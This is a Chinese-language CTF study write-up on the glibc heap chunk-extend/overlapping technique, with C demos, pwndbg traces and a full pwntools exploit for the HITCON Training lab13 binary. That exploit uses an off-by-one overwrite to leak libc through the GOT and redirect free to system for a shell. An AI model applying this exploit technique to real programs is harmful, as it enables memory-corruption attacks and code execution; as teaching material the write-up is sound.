Overview
chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping 的效果。这种利用方法需要以下的时机和条件:
- 程序中存在基于堆的漏洞
- 漏洞可以控制 chunk header 中的数据
ptmalloc对堆进行操作时使用的宏
chunk extend 技术能够产生的原因在于 ptmalloc 在对堆 chunk 进行操作时使用的各种宏;
在 ptmalloc 中,获取 chunk 块大小的操作如下:
1 2 3 4 5
| #define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
#define chunksize_nomask(p) ((p)->mchunk_size)
|
即使用当前块指针加上当前块大小。
在 ptmalloc 中,获取前一个 chunk 信息的操作如下:
1 2 3 4 5
| #define prev_size(p) ((p)->mchunk_prev_size)
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
|
即通过 malloc_chunk->prev_size 获取前一块大小,然后使用本 chunk 地址减去所得大小。
在 ptmalloc,判断当前 chunk 是否是 use 状态的操作如下:
1 2
| #define inuse(p) ((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)
|
即查看下一 chunk 的 prev_inuse 域,而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。
具体为什么是这样以及更多操作详见 CTF Wiki - 堆相关数据结构。
通过上面几个宏可以看出,ptmalloc 通过 chunk header 的数据判断 chunk 的使用情况和对 chunk 的前后块进行定位。简而言之,chunk extend 就是通过控制 size 和 pre_size 域来实现跨越块操作从而导致 overlapping 的。
Example
基本示例 1:对 inuse 的 fastbin 进行 extend
- 利用的效果是通过更改第一个块的大小来控制第二个块的内容。
- 示例都是在 64 位的程序。如果想在 32 位下进行测试,可以把 8 字节偏移改为 4 字节。
1 2 3 4 5 6 7 8 9 10 11 12 13
| int main(void) { void *ptr,*ptr1;
ptr=malloc(0x10); malloc(0x10);
*(long long *)((long long)ptr-0x8)=0x41;
free(ptr); ptr1=malloc(0x30); return 0; }
|
我们进pwndbg中调试一下,观察“当两个 malloc 语句执行之后,堆的内存分布”、“代码中把 chunk1 的 size 域更改为 0x41”、“执行 free 之后,chunk2 与 chunk1 合成一个 0x40 大小的 chunk”和“通过 malloc(0x30) 得到 chunk1+chunk2 的块”;
我分别在 main+22 (第一个malloc返回处)、main+36(第二个malloc返回处)、main+51(把 chunk1 的 size 域更改为 0x41后返回处)、main+58(free前)、main+63(free后)和 main+73(通过 malloc(0x30) 得到 chunk1+chunk2 的块前)下断点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| pwndbg> disassemble main Dump of assembler code for function main: 0x0000000000401156 <+0>: endbr64 0x000000000040115a <+4>: push rbp 0x000000000040115b <+5>: mov rbp,rsp 0x000000000040115e <+8>: sub rsp,0x10 0x0000000000401162 <+12>: mov edi,0x10 0x0000000000401167 <+17>: call 0x401060 <malloc@plt> 0x000000000040116c <+22>: mov QWORD PTR [rbp-0x8],rax 0x0000000000401170 <+26>: mov edi,0x10 0x0000000000401175 <+31>: call 0x401060 <malloc@plt> 0x000000000040117a <+36>: mov rax,QWORD PTR [rbp-0x8] 0x000000000040117e <+40>: sub rax,0x8 0x0000000000401182 <+44>: mov QWORD PTR [rax],0x41 0x0000000000401189 <+51>: mov rax,QWORD PTR [rbp-0x8] 0x000000000040118d <+55>: mov rdi,rax 0x0000000000401190 <+58>: call 0x401050 <free@plt> 0x0000000000401195 <+63>: mov edi,0x30 0x000000000040119a <+68>: call 0x401060 <malloc@plt> 0x000000000040119f <+73>: mov QWORD PTR [rbp-0x10],rax 0x00000000004011a3 <+77>: mov eax,0x0 0x00000000004011a8 <+82>: leave 0x00000000004011a9 <+83>: ret End of assembler dump. pwndbg> b *main+22 Breakpoint 1 at 0x40116c: file main.c, line 7. pwndbg> b *main+36 Breakpoint 2 at 0x40117a: file main.c, line 10. pwndbg> b *main+51 Breakpoint 3 at 0x401189: file main.c, line 12. pwndbg> b *main+58 Breakpoint 4 at 0x401190: file main.c, line 12. pwndbg> b *main+63 Breakpoint 5 at 0x401195: file main.c, line 13. pwndbg> b *main+73 Breakpoint 6 at 0x40119f: file main.c, line 13. pwndbg>
|
其实我这里的多下了一个断点,所以我这里c了一次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| pwndbg> c Continuing.
Breakpoint 2, main () at main.c:10 10 *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域 LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────── *RAX 0x4042c0 ◂— 0 RBX 0 RCX 0x21 RDX 0 RDI 0 *RSI 0x4042d0 ◂— 0 R8 0x21001 *R9 0x4042c0 ◂— 0 R10 0xfffffffffffff000 R11 0x7ffff7e1ace0 (main_arena+96) —▸ 0x4042d0 ◂— 0 R12 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze') R13 0x401156 (main) ◂— endbr64 R14 0x4030e8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffdbe0 ◂— 1 RSP 0x7fffffffdbd0 {ptr1} ◂— 0x1000 *RIP 0x40117a (main+36) ◂— mov rax, qword ptr [rbp - 8] ──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────── b+ 0x40116c <main+22> mov qword ptr [rbp - 8], rax [{ptr}] <= 0x4042a0 ◂— 0 0x401170 <main+26> mov edi, 0x10 EDI => 0x10 0x401175 <main+31> call malloc@plt <malloc@plt>
► 0x40117a <main+36> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0 0x40117e <main+40> sub rax, 8 RAX => 0x404298 (0x4042a0 - 0x8) 0x401182 <main+44> mov qword ptr [rax], 0x41 [0x404298] <= 0x41 b+ 0x401189 <main+51> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0 0x40118d <main+55> mov rdi, rax RDI => 0x4042a0 ◂— 0 b+ 0x401190 <main+58> call free@plt <free@plt>
b+ 0x401195 <main+63> mov edi, 0x30 EDI => 0x30 0x40119a <main+68> call malloc@plt <malloc@plt> ────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────── In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的fastbin进行extend/main.c:10 5 void *ptr,*ptr1; 6 7 ptr=malloc(0x10);//分配第一个0x10的chunk 8 malloc(0x10);//分配第二个0x10的chunk 9 ► 10 *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域 11 12 free(ptr); 13 ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容 14 return 0; 15 } ────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdbd0 {ptr1} ◂— 0x1000 01:0008│-008 0x7fffffffdbd8 {ptr} —▸ 0x4042a0 ◂— 0 02:0010│ rbp 0x7fffffffdbe0 ◂— 1 03:0018│+008 0x7fffffffdbe8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax 04:0020│+010 0x7fffffffdbf0 ◂— 0 05:0028│+018 0x7fffffffdbf8 —▸ 0x401156 (main) ◂— endbr64 06:0030│+020 0x7fffffffdc00 ◂— 0x1ffffdce0 07:0038│+028 0x7fffffffdc08 —▸ 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze') ──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x40117a main+36 1 0x7ffff7c29d90 __libc_start_call_main+128 2 0x7ffff7c29e40 __libc_start_main+128 3 0x401095 _start+37 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/10gx 0x4042a0 0x4042a0: 0x0000000000000000 0x0000000000000000 0x4042b0: 0x0000000000000000 0x0000000000000021 0x4042c0: 0x0000000000000000 0x0000000000000000 0x4042d0: 0x0000000000000000 0x0000000000020d31 0x4042e0: 0x0000000000000000 0x0000000000000000 pwndbg>
|
当两个 malloc 语句执行之后,堆的内存分布如上;
之后,我们把 chunk1 的 size 域更改为 0x41,0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小。如上所示正好大小为 0x40。在题目中这一步可以由堆溢出得到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| pwndbg> n
Breakpoint 4, 0x0000000000401190 in main () at main.c:12 12 free(ptr); LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────── *RAX 0x4042a0 ◂— 0 RBX 0 RCX 0x21 RDX 0 *RDI 0x4042a0 ◂— 0 RSI 0x4042d0 ◂— 0 R8 0x21001 R9 0x4042c0 ◂— 0 R10 0xfffffffffffff000 R11 0x7ffff7e1ace0 (main_arena+96) —▸ 0x4042d0 ◂— 0 R12 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze') R13 0x401156 (main) ◂— endbr64 R14 0x4030e8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffdbe0 ◂— 1 RSP 0x7fffffffdbd0 {ptr1} ◂— 0x1000 *RIP 0x401190 (main+58) ◂— call free@plt ──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────────────────────── b+ 0x40117a <main+36> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0 0x40117e <main+40> sub rax, 8 RAX => 0x404298 (0x4042a0 - 0x8) 0x401182 <main+44> mov qword ptr [rax], 0x41 [0x404298] <= 0x41 b+ 0x401189 <main+51> mov rax, qword ptr [rbp - 8] RAX, [{ptr}] => 0x4042a0 ◂— 0 0x40118d <main+55> mov rdi, rax RDI => 0x4042a0 ◂— 0 ► 0x401190 <main+58> call free@plt <free@plt> ptr: 0x4042a0 ◂— 0
b+ 0x401195 <main+63> mov edi, 0x30 EDI => 0x30 0x40119a <main+68> call malloc@plt <malloc@plt>
b+ 0x40119f <main+73> mov qword ptr [rbp - 0x10], rax 0x4011a3 <main+77> mov eax, 0 EAX => 0 0x4011a8 <main+82> leave ────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────── In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的fastbin进行extend/main.c:12 7 ptr=malloc(0x10);//分配第一个0x10的chunk 8 malloc(0x10);//分配第二个0x10的chunk 9 10 *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域 11 ► 12 free(ptr); 13 ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容 14 return 0; 15 } ────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdbd0 {ptr1} ◂— 0x1000 01:0008│-008 0x7fffffffdbd8 {ptr} —▸ 0x4042a0 ◂— 0 02:0010│ rbp 0x7fffffffdbe0 ◂— 1 03:0018│+008 0x7fffffffdbe8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax 04:0020│+010 0x7fffffffdbf0 ◂— 0 05:0028│+018 0x7fffffffdbf8 —▸ 0x401156 (main) ◂— endbr64 06:0030│+020 0x7fffffffdc00 ◂— 0x1ffffdce0 07:0038│+028 0x7fffffffdc08 —▸ 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze') ──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x401190 main+58 1 0x7ffff7c29d90 __libc_start_call_main+128 2 0x7ffff7c29e40 __libc_start_main+128 3 0x401095 _start+37 pwndbg> x/4gx 0x404290 0x404290: 0x0000000000000000 0x0000000000000041 0x4042a0: 0x0000000000000000 0x0000000000000000
|
这里小回顾一下chunk的结构,就可以解释为什么是看 0x404290 这个地址了(这个地址是chunk的prev_size,而我们修改的就是size域),下面是一张参考图:

执行 free 之后,我们可以看到 chunk2 与 chunk1 合成一个 0x40 大小的 chunk,一起释放了:
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> bins tcachebins 0x40 [ 1]: 0x4042a0 ◂— 0 fastbins empty unsortedbin empty smallbins empty largebins empty
|
之后我们通过 malloc(0x30) 得到 chunk1+chunk2 的块,此时就可以直接控制 chunk2 中的内容,我们也把这种状态称为 overlapping chunk。
基本示例 2:对 inuse 的 smallbin 进行 extend
通过之前深入理解堆的实现部分的内容,我们得知处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。 以下这个示例中,我们使用 0x80 这个大小来分配堆(作为对比,fastbin 默认的最大的 chunk 可使用范围是 0x70)
1 2 3 4 5 6 7 8 9 10 11 12
| #include <stdio.h>
int main() { void *test, *test1; test = malloc(0x80); malloc(0x10); malloc(0x10); *(long*)((long)test-0x8) = 0xb1; free(test); test1 = malloc(0xa0); }
|
在这个例子中,因为分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以我们需要额外分配一个 chunk,把释放的块与 top chunk 隔开。
我们进gdb中观察一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| pwndbg> b 9 Breakpoint 1 at 0x11a6: file main.c, line 9. pwndbg> r ········· ──────────────────────────────────────────────────────────────────────────────────────── In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的smallbin进行extend/main.c:9 4 int main() { 5 void *test, *test1; 6 test = malloc(0x80); // 分配第一个 0x80 的chunk1 7 malloc(0x10); // 分配第二个 0x10 的chunk2s 8 malloc(0x10); // 防止与top chunk合并 ► 9 *(long*)((long)test-0x8) = 0xb1; 10 free(test); 11 test1 = malloc(0xa0); 12 } ········· ──────────────────────────────────────────────────────────────────────────────────────────── pwndbg> i r rax rax 0x555555559298 93824992252568 pwndbg> x/30gx 0x555555559298 0x555555559298: 0x00000000000000b1 0x0000000000000000 0x5555555592a8: 0x0000000000000000 0x0000000000000000 0x5555555592b8: 0x0000000000000000 0x0000000000000000 0x5555555592c8: 0x0000000000000000 0x0000000000000000 0x5555555592d8: 0x0000000000000000 0x0000000000000000 0x5555555592e8: 0x0000000000000000 0x0000000000000000 0x5555555592f8: 0x0000000000000000 0x0000000000000000 0x555555559308: 0x0000000000000000 0x0000000000000000 0x555555559318: 0x0000000000000000 0x0000000000000000 0x555555559328: 0x0000000000000021 0x0000000000000000 0x555555559338: 0x0000000000000000 0x0000000000000000 0x555555559348: 0x0000000000000021 0x0000000000000000 0x555555559358: 0x0000000000000000 0x0000000000000000 0x555555559368: 0x0000000000020ca1 0x0000000000000000 0x555555559378: 0x0000000000000000 0x0000000000000000
|
其中,chunk1如下:
1 2 3 4 5 6 7 8 9
| 0x555555559298: 0x00000000000000b1 0x0000000000000000 0x5555555592a8: 0x0000000000000000 0x0000000000000000 0x5555555592b8: 0x0000000000000000 0x0000000000000000 0x5555555592c8: 0x0000000000000000 0x0000000000000000 0x5555555592d8: 0x0000000000000000 0x0000000000000000 0x5555555592e8: 0x0000000000000000 0x0000000000000000 0x5555555592f8: 0x0000000000000000 0x0000000000000000 0x555555559308: 0x0000000000000000 0x0000000000000000 0x555555559318: 0x0000000000000000 0x0000000000000000
|
chunk2:
1 2
| 0x555555559328: 0x0000000000000021 0x0000000000000000 0x555555559338: 0x0000000000000000 0x0000000000000000
|
用于隔离 top_chunk 的chunk(那它下面那个就是top chunk啦!):
1 2
| 0x555555559328: 0x0000000000000021 0x0000000000000000 0x555555559338: 0x0000000000000000 0x0000000000000000
|
接下来在第10行处下断点,执行*(int *)((int)test-0x8) = 0xb1;这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| pwndbg> x/30gx 0x555555559298 0x555555559298: 0x00000000000000b1 0x0000000555555559 0x5555555592a8: 0xe1643fe79a375a5e 0x0000000000000000 0x5555555592b8: 0x0000000000000000 0x0000000000000000 0x5555555592c8: 0x0000000000000000 0x0000000000000000 0x5555555592d8: 0x0000000000000000 0x0000000000000000 0x5555555592e8: 0x0000000000000000 0x0000000000000000 0x5555555592f8: 0x0000000000000000 0x0000000000000000 0x555555559308: 0x0000000000000000 0x0000000000000000 0x555555559318: 0x0000000000000000 0x0000000000000000 0x555555559328: 0x0000000000000021 0x0000000000000000 0x555555559338: 0x0000000000000000 0x0000000000000000 0x555555559348: 0x0000000000000021 0x0000000000000000 0x555555559358: 0x0000000000000000 0x0000000000000000 0x555555559368: 0x0000000000020ca1 0x0000000000000000 0x555555559378: 0x0000000000000000 0x0000000000000000 pwndbg> bin Ambiguous command "bin": binder, bins. pwndbg> bins tcachebins 0xb0 [ 1]: 0x5555555592a0 ◂— 0 fastbins empty unsortedbin empty smallbins empty largebins empty pwndbg> tcachebins 0xb0 [ 1]: 0x5555555592a0 ◂— 0 fastbins empty unsortedbin empty smallbins empty largebins empty pwndbg>
|
没有得到预期的结果,根据 tcachebins 猜测是因为使用了新版本的glibc导致,但我们仍然可以根据参考文章中学习其思路;

和前面的例子一样,*(int *)((int)test-0x8) = 0xb1;这段代码也是将chunk1的size部分进行了更改,将原有的0x90扩展到了0xb0。这就导致了chunk2被chunk1所包含。接下来我们在第11行下断点释放chunk1:

这里解释一下为什么进的是unsortbin,有两种情况下进unsortbin:
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中
- 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中
那么这个例子就满足第二种情况,不属于fastbin中的空闲块,并且不和top chunk相邻。其实这个例子和第一个例子差不多,因为chunk1和chunk2合并之后的chunk的大小超过了fast bin的最大接收值,所以不进fast bin,并且chunk3的size标志位变成了0,证明前一个块chunk2是一个释放的状态。接下来的过程也是一样的,再次申请一个0xa0大小的chunk时,会从unsort bin中提取。连带着chunk2中的内容也会被提取出来,这样一来再次对chunk1进行操作,从而达到操作chunk2的目的。
基本示例 3:对 free 的 smallbin 进行 extend
1 2 3 4 5 6 7 8 9 10 11
| #include<stdio.h> int main() { void *test, *test1; test = malloc(0x80); malloc(0x10); free(test); *(long *)((long)test - 0x8) = 0xb1; test1 = malloc(0xa0); }
|
第三个例子和前面两个有一些区别,前面两个都是先修改chunk1的size大小然后进行释放,但是这个例子是先进行释放,然后重新修改chunk1的size大小,依然还是一步一步来,首先在第8行下断点,使程序完成申请chunk的操作:

接下来我们在第9行下断点,使程序完成对chunk1的释放:

没有什么意外,释放之后的chunk1依然进入了unsort bin中。接下来 我们将断点下载第10行,需要注意的是此时更改size大小的操作是在free之后完成的:

此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。
在修改完size之后重新申请0xa0的时候会从unsort bin中申请,这个时候大家需要总结一下,其实各个bin中存放的只有chunk的首地址,真正判断多大还得是去看这个chunk的size大小,所以再次申请的时候依然还可以对chunk2进行控制
基本示例 4:通过 extend 后向 overlapping
这里展示通过 extend 进行后向 overlapping,这也是在 CTF 中最常出现的情况,通过 overlapping 可以实现其它的一些利用。
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <stdio.h> int main() { void *ptr,*ptr1;
ptr=malloc(0x10); malloc(0x10); malloc(0x10); malloc(0x10); *(int *)((int)ptr-0x8)=0x61; free(ptr); ptr1=malloc(0x50); }
|
初始化分配 4 个堆之后:

将第一个 chunk size 修改为 0x61 ,然后 free 第一个堆块,红框内的都会被当做一个整体放入到 fastbin 当中:


那么当再次分配大小为 0x50 (不含chunk header)时,就会调用这块内存了:

在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。
基本示例 5:通过 extend 前向 overlapping
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include <stdio.h> int main(void) { void *ptr1,*ptr2,*ptr3,*ptr4; ptr1=malloc(128); ptr2=malloc(0x10); ptr3=malloc(0x10); ptr4=malloc(128); malloc(0x10); free(ptr1); *(int *)((long long)ptr4-0x8)=0x90; *(int *)((long long)ptr4-0x10)=0xd0; free(ptr4); malloc(0x150);
}
|
这里例子调试一直出不来堆信息,就文字描述一下:
先布置好 5 个堆块,然后释放 ptr1 进入到 unsortedbin 。修改 ptr4 的 prev_inuse 为 0 标记前一个堆块释放(空闲);修改 ptr4 的 prev_size 为 ptr1+ptr2+ptr3 。释放 ptr4 会触发回收机制,也就是合并物理相邻的堆,用到的操作是 unlink ,就将 ptr1~4 当做一个堆块放入 unsortedbin。
前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。
例题
HITCON Training lab13
题目链接
基本信息
1 2 3 4 5 6 7 8 9
| # zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/HITCON_Training_lab13 [15:58:02] $ checksec heapcreator [*] '/home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/HITCON_Training_lab13/heapcreator' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
|
程序为 64 位动态链接程序,主要开启了 Canary 保护与 NX 保护。
基本功能
程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下
- 创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
- 编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞。
- 展示堆,输出指定索引堆的大小以及内容。
- 删除堆,删除指定堆,并且将对应指针设置为了 NULL。
利用
基本利用思路如下
- 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
- 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
|
from pwn import * context.log_level = 'debug' p = process("./heapcreator") elf = ELF("./heapcreator") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(size, content): p.recvuntil(b"choice :") p.sendline(b"1") p.recvuntil(b"Heap : ") p.sendline(str(size).encode()) p.recvuntil(b"heap:") p.send(content) def edit(idx, content): p.recvuntil(b"choice :") p.sendline(b"2") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) p.recvuntil(b"heap :") p.send(content) def show(idx): p.recvuntil(b"choice :") p.sendline(b"3") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def free(idx): p.recvuntil(b"choice :") p.sendline(b"4") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def exit(): p.recvuntil(b"choice :") p.sendline(b"5")
create(0x18, b'a'*0x10) create(0x10, b'b'*0x10)
edit(0, b"/bin/sh\x00".ljust(0x18, b'a') + b"\x41") free(1)
free_got = elf.got['free'] create(0x30, b'a'*0x18 + p64(0x21) + p64(0x30) + p64(free_got)) show(1) p.recvuntil(b"Content : ")
free_addr = u64(p.recv(6).ljust(8, b'\x00')) log.info("free_addr:" + hex(free_addr)) libc_base = free_addr - libc.symbols['free'] log.info("libc_base:" + hex(libc_base)) system = libc_base + libc.symbols['system'] log.info("system:" + hex(system))
edit(1, p64(system))
free(0)
p.interactive()
|
References
CTF-Wiki
CSDN
知乎
博客园
Blogs
看雪